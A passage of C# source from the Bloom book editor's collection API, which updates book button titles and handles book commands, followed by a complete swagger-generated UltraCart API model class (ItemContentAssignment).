doesn't work: the event handler is never called. So I'm going to compromise and let // the first call to this (and the first after we empty the queue) do so. (There may be a race // condition in which more than one thread does it, but that's OK because we remove before adding.) var formToInvokeOn = Application.OpenForms.Cast<Form>().FirstOrDefault(f => f is Shell); if (formToInvokeOn != null) { formToInvokeOn.Invoke((Action)(() => { Application.Idle -= EnhanceButtonNeedingSlowUpdate; Application.Idle += EnhanceButtonNeedingSlowUpdate; })); } } } private ConcurrentQueue<Tuple<string,string>> _buttonsNeedingSlowUpdate = new ConcurrentQueue<Tuple<string, string>>(); private void EnhanceButtonNeedingSlowUpdate(object sender, EventArgs e) { Tuple<string, string> item; if (!_buttonsNeedingSlowUpdate.TryDequeue(out item)) { Application.Idle -= EnhanceButtonNeedingSlowUpdate; // If you ignore threading, it would seem we could just return here. // And given that we're invoking for subscriptions, I think it would be OK. // But if we were ever able to subscribe on a different thread, // then between the TryDeque and removing the event handler, // another thread might add an item, or even more than one! Then we'd have // queued items and no event handler looking for them! // So, after removing the event handler, we try AGAIN to Deque an item. if (_buttonsNeedingSlowUpdate.TryDequeue(out item)) { // And if we succeed, we put the event handler back. This might be // redundant, but I don't think it always is (multiple items might have been // added between the TryDeque and removing the handler above), and it is // harmless...if we don't need it, we'll just do one more cycle of // running this handler, finding no items, and removing the handler. Application.Idle += EnhanceButtonNeedingSlowUpdate; } else { // Now we can safely return. Another thread might have added an item // between the TryDeque and this return, but it will also have restored // the event handler, so we'll handle the new item on the next invocation. return; } } var bookInfo = _libraryModel.BookInfoFromCollectionAndId(item.Item1, item.Item2); if (bookInfo == null || bookInfo.FileNameLocked) return; // the title it already has is the folder name which is the right locked name. var langCodes = _libraryModel.CollectionSettings.GetAllLanguageCodes().ToList(); var bestTitle = bookInfo.GetBestTitleForUserDisplay(langCodes); if (String.IsNullOrEmpty(bestTitle)) { // Getting the book can be very slow for large books: do we really want to update the title enough to make the user wait? // (Yes, we're doing this lazily, one book at a time, while the system is idle. But we're tying up the UI thread // for as long as it takes to load any one book. That might be a noticeable unresponsiveness. OTOH, it's only happening // once per book, after which, the titles should be in meta.json and can be loaded fairly quickly. This will be less and less // of an issue as books that don't have the titles in meta.json become fewer and fewer.) var book = LoadBookAndBringItUpToDate(bookInfo, out bool badBook); if (book == null) return; // can't get the book, can't improve title bestTitle = book.NameBestForUserDisplay; } if (bestTitle != bookInfo.QuickTitleUserDisplay) { UpdateButtonTitle(_webSocketServer, bookInfo, bestTitle); } } public static void UpdateButtonTitle(BloomWebSocketServer server, BookInfo bookInfo, string bestTitle) { server.SendString("book", IdForBookButton(bookInfo), bestTitle); } /// <summary> /// We identify a book, for purposes of updating the title of the right button, /// by a combination of the collection path and the book ID. /// We can't use the full path to the book, because we need to be able to update the /// button when its folder changes. /// We need the collection path because we're not entirely confident that there can't /// be duplicate book IDs across collections. /// </summary> /// <param name="info"></param> /// <returns></returns> public static string IdForBookButton(BookInfo info) { return "label-" + Path.GetDirectoryName(info.FolderPath) + "-" + info.Id; } private bool _alreadyReportedErrorDuringImproveAndRefreshBookButtons; private Book.Book LoadBookAndBringItUpToDate(BookInfo bookInfo, out bool badBook) { try { badBook = false; return _libraryModel.GetBookFromBookInfo(bookInfo); } catch (Exception error) { //skip over the dependency injection layer if (error.Source == "Autofac" && error.InnerException != null) error = error.InnerException; Logger.WriteEvent("There was a problem with the book at " + bookInfo.FolderPath + ". " + error.Message); if (!_alreadyReportedErrorDuringImproveAndRefreshBookButtons) { _alreadyReportedErrorDuringImproveAndRefreshBookButtons = true; SIL.Reporting.ErrorReport.NotifyUserOfProblem(error, "There was a problem with the book at {0}. \r\n\r\nClick the 'Details' button for more information.\r\n\r\nOther books may have this problem, but this is the only notice you will receive.\r\n\r\nSee 'Help:Show Event Log' for any further errors.", bookInfo.FolderPath); } badBook = true; return null; } } private void HandleBookCommand(ApiRequest request) { var book = GetBookObjectFromPost(request); var command = request.LocalPath().Substring((BloomApiHandler.ApiPrefix + "bookCommand/").Length); switch (command) { case "makeBloompack": HandleMakeBloompack(book); break; case "openFolderOnDisk": // Currently, the request comes with data to let us identify which book, // but it will always be the current book, which is all the model api lets us open anyway. //var book = GetBookObjectFromPost(request); _libraryModel.OpenFolderOnDisk(); break; case "exportToWord": HandleExportToWord(book); break; // As currently implemented this would more naturally go in CollectionApi, since it adds a book // to the collection (a backup). However, we are probably going to change how backups are handled // so this is no longer true. case "importSpreadsheetContent": _spreadsheetApi.HandleImportContentFromSpreadsheet(book); break; case "saveAsDotBloomSource": HandleSaveAsDotBloomSource(book); break; case "updateThumbnail": ScheduleRefreshOfOneThumbnail(book); break; case "updateBook": HandleBringBookUpToDate(book); break; case "rename": HandleRename(book, request); break; } request.PostSucceeded(); } private void HandleRename(Book.Book book, ApiRequest request) { var newName = request.RequiredParam("name"); book.SetAndLockBookName(newName); _libraryModel.UpdateLabelOfBookInEditableCollection(book); } private void HandleMakeBloompack(Book.Book book) { using (var dlg = new DialogAdapters.SaveFileDialogAdapter()) { var extension = Path.GetExtension(_libraryModel.GetSuggestedBloomPackPath()); var filename = book.Storage.FolderName; dlg.FileName = $"{book.Storage.FolderName}{extension}"; dlg.Filter = "BloomPack|*.BloomPack"; dlg.RestoreDirectory = true; dlg.OverwritePrompt = true; if (DialogResult.Cancel == dlg.ShowDialog()) { return; } _libraryModel.MakeSingleBookBloomPack(dlg.FileName, book.Storage.FolderPath); } } private void HandleExportToWord(Book.Book book) { try { MessageBox.Show(LocalizationManager.GetString("CollectionTab.BookMenu.ExportDocMessage", "Bloom will now open this HTML document in your word processing program (normally Word or LibreOffice). You will be able to work with the text and images of this book. These programs normally don't do well with preserving the layout, so don't expect much.")); var destPath = book.GetPathHtmlFile().Replace(".htm", ".doc"); _libraryModel.ExportDocFormat(destPath); PathUtilities.OpenFileInApplication(destPath); Analytics.Track("Exported To Doc format"); } catch (IOException error) { SIL.Reporting.ErrorReport.NotifyUserOfProblem(error.Message, "Could not export the book"); Analytics.ReportException(error); } catch (Exception error) { SIL.Reporting.ErrorReport.NotifyUserOfProblem(error, "Could not export the book"); Analytics.ReportException(error); } } private void ScheduleRefreshOfOneThumbnail(Book.Book book) { _libraryModel.UpdateThumbnailAsync(book); } internal void HandleSaveAsDotBloomSource(Book.Book book) { const string bloomFilter = "Bloom files (*.bloomSource)|*.bloomSource|All files (*.*)|*.*"; HandleBringBookUpToDate(book); var srcFolderName = book.StoragePageFolder; // Save As dialog, initially proposing My Documents, then defaulting to last target folder // Review: Do we need to persist this to some settings somewhere, or just for the current run? var dlg = new SaveFileDialog { AddExtension = true, OverwritePrompt = true, DefaultExt = "bloomSource", FileName = Path.GetFileName(srcFolderName), Filter = bloomFilter, InitialDirectory = _previousTargetSaveAs != null ? _previousTargetSaveAs : Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) }; var result = dlg.ShowDialog(Form.ActiveForm); if (result != DialogResult.OK) return; var destFileName = dlg.FileName; _previousTargetSaveAs = Path.GetDirectoryName(destFileName); if (!LibraryModel.SaveAsBloomSourceFile(srcFolderName, destFileName, out var exception)) { // Purposefully not adding to the L10N burden... NonFatalProblem.Report(ModalIf.All, PassiveIf.None, shortUserLevelMessage: "The file could not be saved. Make sure it is not open and try again.", moreDetails: null, exception: exception, showSendReport: false); } } private void HandleBringBookUpToDate(Book.Book book) { try { // Currently this works on the current book, so the argument is ignored. // That's OK for now as currently the book passed will always be the current one. _libraryModel.BringBookUpToDate(); } catch (Exception error) { var msg = LocalizationManager.GetString("Errors.ErrorUpdating", "There was a problem updating the book. Restarting Bloom may fix the problem. If not, please report the problem to us."); ErrorReport.NotifyUserOfProblem(error, msg); } } private BookInfo GetBookInfoFromPost(ApiRequest request) { var bookId = request.RequiredPostString(); return GetCollectionOfRequest(request).GetBookInfos().FirstOrDefault(info => info.Id == bookId); } private Book.Book GetBookObjectFromPost(ApiRequest request) { var info = GetBookInfoFromPost(request); return _libraryModel.GetBookFromBookInfo(info); } private BookCollection GetCollectionOfRequest(ApiRequest request) { var id = request.RequiredParam("collection-id").Trim(); var collection = _libraryModel.GetBookCollections().FirstOrDefault(c => c.PathToDirectory == id); if (collection == null) { request.Failed($"Collection named '{id}' was not found."); } return collection; } } }
/* * UltraCart Rest API V2 * * UltraCart REST API Version 2 * * OpenAPI spec version: 2.0.0 * Contact: support@ultracart.com * Generated by: https://github.com/swagger-api/swagger-codegen.git */ using System; using System.Linq; using System.IO; using System.Text; using System.Text.RegularExpressions; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Runtime.Serialization; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using System.ComponentModel.DataAnnotations; using SwaggerDateConverter = com.ultracart.admin.v2.Client.SwaggerDateConverter; namespace com.ultracart.admin.v2.Model { /// <summary> /// ItemContentAssignment /// </summary> [DataContract] public partial class ItemContentAssignment : IEquatable<ItemContentAssignment>, IValidatableObject { /// <summary> /// Initializes a new instance of the <see cref="ItemContentAssignment" /> class. /// </summary> /// <param name="defaultAssignment">True if this group is the default assignment for this item.</param> /// <param name="groupOid">Page (group) object identifier.</param> /// <param name="groupPath">Page (group) path.</param> /// <param name="host">StoreFront host name.</param> /// <param name="sortOrder">Sort order (optional).</param> /// <param name="urlPart">URL part if the item id is not used.</param> public ItemContentAssignment(bool? defaultAssignment = default(bool?), int? groupOid = default(int?), string groupPath = default(string), string host = default(string), int? sortOrder = default(int?), string urlPart = default(string)) { this.DefaultAssignment = defaultAssignment; this.GroupOid = groupOid; this.GroupPath = groupPath; this.Host = host; this.SortOrder = sortOrder; this.UrlPart = urlPart; } /// <summary> /// True if this group is the default assignment for this item /// </summary> /// <value>True if this group is the default assignment for this item</value> [DataMember(Name="default_assignment", EmitDefaultValue=false)] public bool? DefaultAssignment { get; set; } /// <summary> /// Page (group) object identifier /// </summary> /// <value>Page (group) object identifier</value> [DataMember(Name="group_oid", EmitDefaultValue=false)] public int? GroupOid { get; set; } /// <summary> /// Page (group) path /// </summary> /// <value>Page (group) path</value> [DataMember(Name="group_path", EmitDefaultValue=false)] public string GroupPath { get; set; } /// <summary> /// StoreFront host name /// </summary> /// <value>StoreFront host name</value> [DataMember(Name="host", EmitDefaultValue=false)] public string Host { get; set; } /// <summary> /// Sort order (optional) /// </summary> /// <value>Sort order (optional)</value> [DataMember(Name="sort_order", EmitDefaultValue=false)] public int? SortOrder { get; set; } /// <summary> /// URL part if the item id is not used /// </summary> /// <value>URL part if the item id is not used</value> [DataMember(Name="url_part", EmitDefaultValue=false)] public string UrlPart { get; set; } /// <summary> /// Returns the string presentation of the object /// </summary> /// <returns>String presentation of the object</returns> public override string ToString() { var sb = new StringBuilder(); sb.Append("class ItemContentAssignment {\n"); sb.Append(" DefaultAssignment: ").Append(DefaultAssignment).Append("\n"); sb.Append(" GroupOid: ").Append(GroupOid).Append("\n"); sb.Append(" GroupPath: ").Append(GroupPath).Append("\n"); sb.Append(" Host: ").Append(Host).Append("\n"); sb.Append(" SortOrder: ").Append(SortOrder).Append("\n"); sb.Append(" UrlPart: ").Append(UrlPart).Append("\n"); sb.Append("}\n"); return sb.ToString(); } /// <summary> /// Returns the JSON string presentation of the object /// </summary> /// <returns>JSON string presentation of the object</returns> public virtual string ToJson() { return JsonConvert.SerializeObject(this, Formatting.Indented); } /// <summary> /// Returns true if objects are equal /// </summary> /// <param name="input">Object to be compared</param> /// <returns>Boolean</returns> public override bool Equals(object input) { return this.Equals(input as ItemContentAssignment); } /// <summary> /// Returns true if ItemContentAssignment instances are equal /// </summary> /// <param name="input">Instance of ItemContentAssignment to be compared</param> /// <returns>Boolean</returns> public bool Equals(ItemContentAssignment input) { if (input == null) return false; return ( this.DefaultAssignment == input.DefaultAssignment || (this.DefaultAssignment != null && this.DefaultAssignment.Equals(input.DefaultAssignment)) ) && ( this.GroupOid == input.GroupOid || (this.GroupOid != null && this.GroupOid.Equals(input.GroupOid)) ) && ( this.GroupPath == input.GroupPath || (this.GroupPath != null && this.GroupPath.Equals(input.GroupPath)) ) && ( this.Host == input.Host || (this.Host != null && this.Host.Equals(input.Host)) ) && ( this.SortOrder == input.SortOrder || (this.SortOrder != null && this.SortOrder.Equals(input.SortOrder)) ) && ( this.UrlPart == input.UrlPart || (this.UrlPart != null && this.UrlPart.Equals(input.UrlPart)) ); } /// <summary> /// Gets the hash code /// </summary> /// <returns>Hash code</returns> public override int GetHashCode() { unchecked // Overflow is fine, just wrap { int hashCode = 41; if (this.DefaultAssignment != null) hashCode = hashCode * 59 + this.DefaultAssignment.GetHashCode(); if (this.GroupOid != null) hashCode = hashCode * 59 + this.GroupOid.GetHashCode(); if (this.GroupPath != null) hashCode = hashCode * 59 + this.GroupPath.GetHashCode(); if (this.Host != null) hashCode = hashCode * 59 + this.Host.GetHashCode(); if (this.SortOrder != null) hashCode = hashCode * 59 + this.SortOrder.GetHashCode(); if (this.UrlPart != null) hashCode = hashCode * 59 + this.UrlPart.GetHashCode(); return hashCode; } } /// <summary> /// To validate all properties of the instance /// </summary> /// <param name="validationContext">Validation context</param> /// <returns>Validation Result</returns> IEnumerable<System.ComponentModel.DataAnnotations.ValidationResult> IValidatableObject.Validate(ValidationContext validationContext) { // UrlPart (string) maxLength if(this.UrlPart != null && this.UrlPart.Length > 150) { yield return new System.ComponentModel.DataAnnotations.ValidationResult("Invalid value for UrlPart, length must be less than 150.", new [] { "UrlPart" }); } yield break; } } }